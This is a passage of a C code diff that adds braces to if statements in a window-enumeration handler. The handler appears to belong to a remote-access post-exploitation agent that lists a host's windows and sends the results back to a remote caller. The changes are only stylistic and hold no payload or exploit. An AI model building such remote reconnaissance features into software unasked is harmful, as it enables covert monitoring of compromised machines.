(PENUMCHILDWINDOWS)GetProcAddress(hUser32, "EnumChildWindows")) == NULL) { BREAK_ON_ERROR("[EXTAPI WINDOW] Unable to locate EnumChildWindows in user32.dll"); + } dprintf("[EXTAPI WINDOW] Beginning enumeration of child windows with parent %u", parentWindow); - if (!pEnumChildWindows(parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state)) + if (!pEnumChildWindows(parentWindow != 0 ? (HWND)parentWindow : NULL, (WNDENUMPROC)enumerate_windows_callback, (LPARAM)&state)) { BREAK_ON_ERROR("[EXTAPI WINDOW] Failed to enumerate child windows"); + } dwResult = ERROR_SUCCESS; } while (0); - if (hUser32) + if (hUser32) { FreeLibrary(hUser32); + } return dwResult; #else @@ -162,8 +168,9 @@ DWORD request_window_enum(Remote *remote, Packet *packet) } while (0); dprintf("[EXTAPI WINDOW] Transmitting response back to caller."); - if (response) + if (response) { packet_transmit_response(dwResult, remote, response); + } return dwResult; }